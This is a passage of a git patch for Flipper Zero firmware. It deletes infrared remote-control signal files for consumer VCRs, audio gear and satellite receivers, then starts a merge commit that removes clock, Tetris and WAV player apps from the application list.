00 -command: 4D 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 4E 00 00 00 -# -name: CD_FFD -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 52 00 00 00 -# -name: CD_REW -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 53 00 00 00 -# -name: TP_B -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 83 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 10 10 00 00 -command: C1 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: C2 00 00 00 -# -name: TP_RMUTE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: D1 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir deleted file mode 100644 index 89c67e8eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR/128,123.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0B 00 00 00 -# -name: input_select -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0C 00 00 00 -# -name: timer_rec -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 0D 00 00 00 -# -name: tv_vcr_scart_sw -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 13 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 14 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 16 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 17 00 00 00 -# -name: f.fwd -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 19 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1A 00 00 00 -# -name: showview -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1D 00 00 00 -# -name: sp_lp -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 1F 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 40 00 00 00 -# -name: set_plus -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 41 00 00 00 -# -name: set_minus -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 42 00 00 00 -# -name: trck_fine_plus -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 43 00 00 00 -# -name: trck_fine_minus -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 44 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 45 00 00 00 -# -name: aft_vps -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 46 00 00 00 -# -name: daily -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 49 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4A 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4B 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4C 00 00 00 -# -name: weekly -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4D 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 50 00 00 00 -# -name: clock_counter -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 51 00 00 00 -# -name: trck_auto -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 52 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 58 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 80 7B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir deleted file mode 100644 index 007c23e84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: SEL/VPS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TRACKING -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7D 00 00 00 -# -name: CASS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir deleted file mode 100644 index b413a2e65..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: speaker_mode -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: balance -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: bass -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: delay -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: pro_logic_auto_on -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir deleted file mode 100644 index 077b908ea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 03 00 00 00 -# -name: Mem2 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 07 00 00 00 -# -name: Mem3 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 08 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 0A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 0B 00 00 00 -# -name: Mem4 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 0C 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 13 00 00 00 -# -name: ChMode -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 14 00 00 00 -# -name: FMode -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 15 00 00 00 -# -name: Mem1 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 17 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 18 00 00 00 -# -name: LCR -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 19 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1B 00 00 00 -# -name: PCh -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1C 00 00 00 -# -name: PLock -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1D 00 00 00 -# -name: PGplusminus -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 1F 00 00 00 -# -name: Fminus -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 40 00 00 00 -# -name: CFT -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 41 00 00 00 -# -name: Fplus -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 42 00 00 00 -# -name: TCCATV -type: parsed -protocol: NECext -address: 20 40 00 00 -command: 43 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir deleted file mode 100644 index db89f2fe7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 10 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 11 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 12 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 13 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 14 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 18 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 58 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9D 00 00 00 -# -name: X_KEY_QUIT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9E 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9F 00 00 00 From 22cbe276a8305a36a2e8bebc39b8b4aa62c79f16 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Wed, 1 Jun 2022 16:07:53 +0300 Subject: [PATCH 248/461] big merge with fz main repo --- applications/applications.c | 32 +- applications/applications.mk | 17 - applications/bad_usb/bad_usb_app.c | 37 +- applications/bad_usb/bad_usb_app_i.h | 3 +- .../scenes/bad_usb_scene_file_select.c | 14 +- .../bad_usb/scenes/bad_usb_scene_work.c | 9 +- applications/bad_usb/views/bad_usb_view.c | 8 +- applications/bad_usb/views/bad_usb_view.h | 2 +- applications/clock_app/clock_app.c | 282 ----------- .../file_browser_test/file_browser_app.c | 2 +- .../scenes/file_browser_scene_browser.c | 4 +- applications/desktop/desktop.c | 7 +- applications/dialogs/dialogs.c | 7 +- applications/dialogs/dialogs.h | 25 +- applications/dialogs/dialogs_api.c | 29 +- applications/dialogs/dialogs_message.h | 16 +- .../dialogs/dialogs_module_file_browser.c | 59 +++ ...select.h => dialogs_module_file_browser.h} | 2 +- .../dialogs/dialogs_module_file_select.c | 59 --- applications/gui/modules/file_browser.c | 16 +- applications/gui/modules/file_browser.h | 6 +- .../gui/modules/file_browser_worker.c | 20 +- .../gui/modules/file_browser_worker.h | 4 +- applications/gui/modules/file_select.c | 475 ----------------- applications/gui/modules/file_select.h | 31 -- applications/gui/modules/validators.c | 5 +- applications/ibutton/ibutton.c | 91 ++-- applications/ibutton/ibutton_i.h | 3 +- .../ibutton/scenes/ibutton_scene_add_type.c | 3 +- .../scenes/ibutton_scene_delete_confirm.c | 9 +- .../ibutton/scenes/ibutton_scene_emulate.c | 14 +- .../ibutton/scenes/ibutton_scene_info.c | 9 +- .../ibutton/scenes/ibutton_scene_read.c | 2 +- .../ibutton/scenes/ibutton_scene_save_name.c | 24 +- .../ibutton/scenes/ibutton_scene_start.c | 1 + .../ibutton/scenes/ibutton_scene_write.c | 15 +- applications/infrared/infrared_app.cpp | 17 +- applications/infrared/infrared_app.h | 2 + .../infrared/infrared_app_remote_manager.cpp | 130 +++-- .../infrared/infrared_app_remote_manager.h | 27 +- .../scene/infrared_app_scene_edit_rename.cpp | 13 +- .../scene/infrared_app_scene_remote_list.cpp | 19 +- .../scene/infrared_app_scene_start.cpp | 2 + applications/lfrfid/lfrfid_app.cpp | 64 +-- applications/lfrfid/lfrfid_app.h | 7 +- .../scene/lfrfid_app_scene_save_name.cpp | 12 +- applications/music_player/music_player.c | 20 +- applications/nfc/nfc_device.c | 119 +++-- applications/nfc/nfc_device.h | 7 +- applications/nfc/scenes/nfc_scene_delete.c | 2 +- applications/nfc/scenes/nfc_scene_save_name.c | 19 +- .../nfc/scenes/nfc_scene_save_success.c | 3 - .../nfc/scenes/nfc_scene_saved_menu.c | 2 +- applications/nfc/scenes/nfc_scene_set_type.c | 2 + .../power/power_service/views/power_off.c | 0 .../scene/scened_app_scene_byte_input.cpp | 35 -- .../scene/scened_app_scene_byte_input.h | 19 - .../scene/scened_app_scene_start.cpp | 47 -- .../scene/scened_app_scene_start.h | 13 - .../scened_app_example/scened_app.cpp | 20 - applications/scened_app_example/scened_app.h | 47 -- .../scened_app_launcher.cpp | 11 - applications/storage/storage_cli.c | 2 +- .../scenes/storage_settings_scene_unmounted.c | 0 .../subghz/helpers/subghz_custom_event.h | 2 +- .../subghz_frequency_analyzer_worker.c | 13 +- .../subghz_frequency_analyzer_worker.h | 4 +- .../subghz/scenes/subghz_scene_delete.c | 2 +- .../subghz/scenes/subghz_scene_delete_raw.c | 4 +- .../subghz/scenes/subghz_scene_more_raw.c | 2 +- .../subghz/scenes/subghz_scene_read_raw.c | 11 +- .../scenes/subghz_scene_receiver_info.c | 2 + .../subghz/scenes/subghz_scene_save_name.c | 52 +- .../subghz/scenes/subghz_scene_set_type.c | 8 +- .../subghz/scenes/subghz_scene_transmitter.c | 2 +- applications/subghz/subghz.c | 17 +- applications/subghz/subghz_cli.c | 2 +- applications/subghz/subghz_history.c | 4 +- applications/subghz/subghz_i.c | 52 +- applications/subghz/subghz_i.h | 10 +- applications/subghz/subghz_setting.c | 234 ++++----- applications/subghz/views/receiver.c | 6 +- .../subghz/views/subghz_frequency_analyzer.c | 2 +- applications/subghz/views/subghz_read_raw.c | 16 +- applications/subghz/views/transmitter.c | 6 +- applications/tetris_game/tetris_game.c | 479 ------------------ applications/wav_player/wav_parser.c | 84 --- applications/wav_player/wav_parser.h | 51 -- applications/wav_player/wav_player.c | 303 ----------- applications/wav_player/wav_player_hal.c | 58 --- applications/wav_player/wav_player_hal.h | 23 - applications/wav_player/wav_player_view.c | 214 -------- applications/wav_player/wav_player_view.h | 45 -- assets/compiled/assets_icons.c | 52 -- assets/compiled/assets_icons.h | 3 - assets/icons/Dolphin/Flipper_young_80x60.png | Bin 643 -> 0 bytes assets/icons/Infrared/Back_15x10.png | Bin 3600 -> 0 bytes assets/icons/Infrared/Fill-marker_7x7.png | Bin 3595 -> 0 bytes assets/icons/Interface/Back3_45x8.png | Bin 3630 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_01.png | Bin 173 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_02.png | Bin 176 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_03.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_04.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_05.png | Bin 172 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_06.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_07.png | Bin 175 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_08.png | Bin 178 -> 0 bytes assets/icons/MainMenu/Clock_14/frame_rate | 1 - .../icons/MainMenu/MusicPlayer_14/frame_0.png | Bin 149 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_1.png | Bin 148 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_2.png | Bin 141 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_3.png | Bin 147 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_4.png | Bin 144 -> 0 bytes .../icons/MainMenu/MusicPlayer_14/frame_rate | 1 - assets/icons/SDCard/SDError_43x35.png | Bin 1873 -> 0 bytes assets/icons/StatusBar/USBConnected_15x8.png | Bin 85 -> 0 bytes assets/icons/iButton/DolphinExcited_64x63.png | Bin 2304 -> 0 bytes .../iButton/iButtonDolphinSuccess_109x60.png | Bin 2178 -> 0 bytes assets/resources/Manifest | 9 +- .../assets/setting_frequency_analyzer_user | 31 -- assets/resources/subghz/assets/setting_user | 52 +- assets/resources/subghz/assets/touchtunes_map | 7 - .../resources/subghz/assets/universal_rf_map | 7 - .../targets/f7/furi_hal/furi_hal_subghz.c | 48 +- firmware/targets/f7/target.mk | 3 +- lib/one_wire/ibutton/ibutton_key.c | 9 - lib/one_wire/ibutton/ibutton_key.h | 14 - lib/subghz/protocols/secplus_v1.c | 16 +- lib/subghz/subghz_keystore.c | 1 - lib/toolbox/path.c | 14 + lib/toolbox/path.h | 9 + lib/toolbox/random_name.c | 2 - make/git.mk | 2 +- 133 files changed, 830 insertions(+), 3162 deletions(-) delete mode 100644 applications/clock_app/clock_app.c create mode 100644 applications/dialogs/dialogs_module_file_browser.c rename applications/dialogs/{dialogs_module_file_select.h => dialogs_module_file_browser.h} (54%) delete mode 100644 applications/dialogs/dialogs_module_file_select.c delete mode 100644 applications/gui/modules/file_select.c delete mode 100644 applications/gui/modules/file_select.h mode change 100755 => 100644 applications/nfc/scenes/nfc_scene_save_name.c mode change 100755 => 100644 applications/power/power_service/views/power_off.c delete mode 100644 applications/scened_app_example/scene/scened_app_scene_byte_input.cpp delete mode 100644 applications/scened_app_example/scene/scened_app_scene_byte_input.h delete mode 100644 applications/scened_app_example/scene/scened_app_scene_start.cpp delete mode 100644 applications/scened_app_example/scene/scened_app_scene_start.h delete mode 100644 applications/scened_app_example/scened_app.cpp delete mode 100644 applications/scened_app_example/scened_app.h delete mode 100644 applications/scened_app_example/scened_app_launcher.cpp mode change 100644 => 100755 applications/storage_settings/scenes/storage_settings_scene_unmounted.c delete mode 100644 applications/tetris_game/tetris_game.c delete mode 100644 applications/wav_player/wav_parser.c delete mode 100644 applications/wav_player/wav_parser.h delete mode 100644 applications/wav_player/wav_player.c delete mode 100644 applications/wav_player/wav_player_hal.c delete mode 100644 applications/wav_player/wav_player_hal.h delete mode 100644 applications/wav_player/wav_player_view.c delete mode 100644 applications/wav_player/wav_player_view.h delete mode 100644 assets/icons/Dolphin/Flipper_young_80x60.png delete mode 100644 assets/icons/Infrared/Back_15x10.png delete mode 100644 assets/icons/Infrared/Fill-marker_7x7.png delete mode 100644 assets/icons/Interface/Back3_45x8.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_01.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_02.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_03.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_04.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_05.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_06.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_07.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_08.png delete mode 100644 assets/icons/MainMenu/Clock_14/frame_rate delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_0.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_1.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_2.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_3.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_4.png delete mode 100644 assets/icons/MainMenu/MusicPlayer_14/frame_rate delete mode 100644 assets/icons/SDCard/SDError_43x35.png delete mode 100644 assets/icons/StatusBar/USBConnected_15x8.png delete mode 100644 assets/icons/iButton/DolphinExcited_64x63.png delete mode 100644 assets/icons/iButton/iButtonDolphinSuccess_109x60.png delete mode 100644 assets/resources/subghz/assets/setting_frequency_analyzer_user delete mode 100644 assets/resources/subghz/assets/touchtunes_map delete mode 100644 assets/resources/subghz/assets/universal_rf_map diff --git a/applications/applications.c b/applications/applications.c index c932f86ce..dccab589f 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -21,7 +21,6 @@ extern int32_t accessor_app(void* p); extern int32_t archive_app(void* p); extern int32_t bad_usb_app(void* p); extern int32_t u2f_app(void* p); -extern int32_t wav_player_app(void* p); extern int32_t uart_echo_app(void* p); extern int32_t blink_test_app(void* p); extern int32_t bt_debug_app(void* p); @@ -50,8 +49,6 @@ extern int32_t file_browser_app(void* p); // Plugins extern int32_t music_player_app(void* p); extern int32_t snake_game_app(void* p); -extern int32_t tetris_game_app(void *p); -extern int32_t clock_app(void *p); // On system start hooks declaration extern void bt_on_system_start(); @@ -209,14 +206,6 @@ const size_t FLIPPER_SYSTEM_APPS_COUNT = COUNT_OF(FLIPPER_SYSTEM_APPS); // Main menu APP const FlipperApplication FLIPPER_APPS[] = { -#ifdef APP_CLOCK - {.app = clock_app, - .name = "Clock", - .stack_size = 2048, - .icon = &A_Clock_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_SUBGHZ {.app = subghz_app, .name = "Sub-GHz", @@ -280,6 +269,7 @@ const 